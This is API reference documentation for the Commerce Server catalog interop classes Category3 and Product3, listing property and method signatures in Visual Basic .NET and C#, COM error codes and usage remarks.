The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this category in the hierarchy

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib    ‘ for _Recordset
…
Public Property AncestorCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset AncestorCategories {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the ancestor categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[Visual Basic .NET] The AncestorCategories property is a Recordset object with a 128-character field, named Name. This Recordset object also contains a 128-character string column called DisplayName that contains the display name of the category in the language of the category object.

[C#] The AncestorCategories property is an ADODB26Lib._Recordset interface to a Recordset object with a 128-character field, named Name. This Recordset object also contains a 128-character string column called DisplayName that contains the display name of the category in the language of the category object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.ParentCategories

Category3.ChildCategories


Category3.CatalogName Property (PIA)

The CatalogName property is a read-only String that contains the name of the catalog within which this category exists.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property CatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CatalogName {get;}

Property Value

A string used to return the catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Remarks

[Visual Basic .NET] The CatalogName property contains valid data only if the property is accessed successfully.

[C#] The CatalogName property contains valid data only if the property is accessed successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.CategoryName Property (PIA)

The CategoryName property is a read-only String that contains the name of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property CategoryName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CategoryName {get;}

Property Values

A string used to return the category name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.ChildCategories Property (PIA)

The ChildCategories property is a read-only Recordset object that contains the names of categories that exist below this category in the hierarchy.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property ChildCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CategoryName {get;}

Parameters

[C#]

An ADODB26Lib._Recordset interface to a Recordset object used to return the child categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

The ChildCategories property contains valid data only if the property is accessed successfully.

The ChildCategories recordset contains a row for each of the categories that are currently children of this category. The following table lists the fields for the ChildCategories recordset.

Field Data type Description
CategoryName String
maximum of 128 characters 		The name of the category.
DefinitionName String
maximum of 128 characters 		The name of the definition.
CatalogName String
maximum of 128 characters 		The name of the catalog that contains the category.
DisplayName String
maximum of 128 characters 		The display name of the category.

If this category has no children, an empty recordset is returned whose EOF property is set to true. Your code should check the value of this property to determine if child categories exist.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.ParentCategories

Category3.AncestorCategories


Category3.DescendantProducts Property (PIA)

The DescendantProducts property is a read-only Recordset object that contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property DescendantProducts(
  Optional eClassTypeRequired As Object,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Integer
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_DescendantProducts(
  object eClassTypeRequired,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
lStartingRecord
An Object that contains the starting record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Integer used to return the total number of records in the query.
[C#]
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section. Set to Type.Missing in order to not specify a catalog class.
lStartingRecord
An object that contains the starting record. Set to Type.Missing in order to not specify a starting record.
lRecordsToRetrieve
An object that contains the number of records to retrieve. Set to Type.Missing in order to not specify the number or records to retrieve.
plTotalRecordsInQuery
An object used to return the total number of records in the query. Set the object to Type.Missing if the return value is not needed.
DescendantProducts
A _Recordset interface to the Recordset object used to return the descendant products.

Return Values

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the descendant products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C#]

The DescendantProducts parameter contains valid data only if the property is accessed successfully.

get_DescendantProducts does not show up in IntelliSense.

This property gets all the products that are directly or indirectly under this category.

The returned recordset contains all the fields in the CatalogProduct Recordset.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.RelatedProducts

Category3.Products


Category3.GetCategoryProperties Property (PIA)

The GetCategoryProperties property is a read-only recordset that contains the properties for this category. Both the properties that are present in the definition of this category and the built-in properties are returned.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property GetCategoryProperties As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset GetCategoryProperties {get;}
[C#]

Property Value

A _Recordset interface to a Recordset object containing the category properties.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.

Remarks

[Visual Basic .NET] The GetCategoryProperties property contains valid data only if the property is accessed successfully.

The returned Recordset contains all the common fields in the CatalogProduct Recordset. It also contains all the fields that are in the product definitions for the category. The ProductID field (the unique product identifier) is returned even if it is not part of a product definition.

The returned Recordset is updateable, but disconnected. If this category has been deleted from the database, this property throws a COMException. For categories created in virtual catalogs, the category name returned in the Recordset will not contain the appended catalog name.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.SetCategoryProperties


Category3.ParentCategories Property (PIA)

The ParentCategories property is a read-only recordset that contains the names of the parent categories of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Property ParentCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset ParentCategories {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the parent categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[Visual Basic .NET]

The ParentCategories property contains valid data only if the property is accessed successfully.

The ParentCategories property contains the names of the categories that are parent categories of this category. The recordset returned contains a 128-character string column, called Name, and one row for each parent that exists.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
Name String
Maximum of 128 characters 		Name of the parent category.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FVirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited(value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

If this category is a root category, it has no parent categories, and an empty recordset is returned whose EOF property is set to VARIANT_TRUE.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AncestorCategories

Category3.ChildCategories


Category3.PrimaryParent Property (PIA)

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Property PrimaryParent() As String
[C#]
Imports Microsoft.CommerceServer.Interop.Catalog;
…
Public string PrimaryParent {get; set;}

Property Value

A string containing the primary parent category name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C#] 0x889800AC [Visual Basic .NET] &H889800AC | The primary parent category that you specified does not exist
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.Products Property (PIA)

The Products property is a read-only recordset that contains product data for all of the products that exist directly within this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Property Products(
  Optional eClassTypeRequired As Object,
  Optional strPropertyToSortOn As Object,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Integer
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset get_Products(
  object eClassTypeRequired,
  object strPropertyToSortOn,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
strPropertyToSortOn
An Object that contains the property to sort on.
lStartingRecord
An Object that contains the starting record number.
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Integer used to return the total number of records in the query.
[C#]
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section. Set to Type.Missing in order to not specify a catalog class.
strPropertyToSortOn
An object that contains the property to sort on. Set to Type.Missing in order to not specify a property to sort on.
lStartingRecord
An object that contains the starting record number. Set to Type.Missing in order to not specify a starting record.
plRecordsToRetrieve
An object that contains the number of records to retrieve. Set to Type.Missing in order to not specify the number or records to retrieve.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

[C#]

get_Products does not show up in IntelliSense.

If the properties specified in strPropertyToSortOn parameter are invalid then the recordset will be unsorted.

Note

  • If the value of cscCategoryClass is specified for the eClassTypeRequired parameter, the returned recordset will contain all the products and all the child categories in this category.

The Products property contains the product data for all the products in this category.

The returned Recordset contains all the fields in the CatalogProduct Recordset.

If this category contains no products, then the Products property returns an empty Recordset whose EOF property is set to true.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.DescendantProducts

Category3.RelatedProducts


Category3.RelatedCategories Property (PIA)

The RelatedCategories property is a read-only recordset that contains all categories related to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Property RelatedCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset RelatedCategories {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object used to return the related categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The RelatedCategories parameter contains valid data only if the property is accessed successfully.

The RelatedCategories property contains information on all the relationships this category has to other categories. The Recordset returned contains one row for each relationship present.

The returned Recordset contains the following fields:

Field Data Type Description
CategoryName String
maximum of 128 characters 		The name of the category.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AncestorCategories

Category3.ChildCategories

Category3.ParentCategories

Category3.AddRelationshipToCategory

Category3.RemoveRelationshipToCategory


Category3.RelatedProducts Property (PIA)

The RelatedProducts property is a read-only recordset containing information about all products related to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Property RelatedProducts As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset RelatedProducts{ get;}
[C#]

Property Values

An ADODB26Lib._Recordset interface to a Recordset object containing the related products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The Recordset returned contains one row for each relationship present.

The following table shows the fields in the returned Recordset.

Field | Data Type | Description
<defined ProductID field> | Varies | The unique product identifier, defined during catalog creation.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.DescendantProducts

Category3.Products

Category3.AddRelationshipToProduct

Category3.RemoveRelationshipToProduct


Product3 Class (PIA)

Use this object to work with products and variants in a catalog.

Methods

Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetProductProperties | Sets the properties for this product and all its variants.
SetVariantProperties | Sets the properties for variants of this product.

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | String | Contains the unique identifier for this product. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | ADODB26Lib._Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.

Remarks

The Product object is a dependent object. Obtain a pointer to the IProduct interface by calling one of the following methods:

  • ProductCatalog.CreateProduct
  • ProductCatalog.GetProduct

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)


Product3 Methods (PIA)

Methods

Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetProductProperties | Sets the properties for this product and all its variants.
SetVariantProperties | Sets the properties for variants of this product.


Product3.AddRelationshipToCategory Method (PIA)

Use this method to add a relationship to a specified category in the specified catalog from this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object,
  strTargetCatalogNameStack As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName,
  object strRelationshipDescription,
  string strTargetCatalogNameStack
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName
A String that contains a name for the relationship.
strRelationshipDescription
An Object that optionally contains a description for the relationship.
strTargetCatalogNameStack
A String that contains the name of the catalog that contains the category specified in strRelatedCategoryName.
[C#]
strRelatedCategoryName
A string that contains the name of the category to which a relationship is to be added.
strRelationshipName
A string that contains a name for the relationship.
strRelationshipDescription
An object that optionally contains a description for the relationship. Set to Type.Missing to omit a description.
strTargetCatalogNameStack
A string that contains the name of the catalog that contains the category specified in strRelatedCategoryName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog's included relationships cannot be directly edited. They can only be edited in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you can specify in the strRelationshipDescription parameter.

More than one relationship may be created between the same product and category, however in this case each relationship created must be given a unique name.

[Visual Basic .NET]

Example

'vDesc is an Object of subtype String containing the description.
myProduct.AddRelationshipToCategory ("Apparel", "Accessory", vDesc)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.AddRelationshipToProduct

Product3.RemoveRelationshipToCategory


Product3.AddRelationshipToProduct Method (PIA)

Use this method to add a relationship from this product to a specified product in the specified catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object
  strTargetCatalogNameStack As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  object strRelationshipDescription,
  string strTargetCatalogNameStack
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the ID of the related product.
strRelationshipName
A String that contains the name of the relationship.
strRelationshipDescription
An Object that optionally contains a description for the relationship.
strTargetCatalogNameStack
A String that contains the name of the catalog that contains the category specified in varRelatedProductID.
[C#]
varRelatedProductID
An object that contains the ID of the related product.
strRelationshipName
A string that contains the name of the relationship.
strRelationshipDescription
An object that optionally contains a description for the relationship. Set to Type.Missing to omit a description.
strTargetCatalogNameStack
A string that contains the name of the catalog that contains the category specified in varRelatedProductID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &Hx8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the productID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &Hx8898004E | The value you specified for the productID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog's included relationships cannot be directly edited. They can edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you can specify in the strRelationshipDescription parameter.

More than one relationship may be created between the same two products, however in this case each relationship created must be given a unique name.

[Visual Basic .NET]

Example

'vProdID is an Object containing the product ID
'vDesc is an Object of subtype String containing a description
'of the relationship
myProduct.AddRelationshipToProduct(vProdID, "Accessory", vDesc, "myCatalog")

Requirements

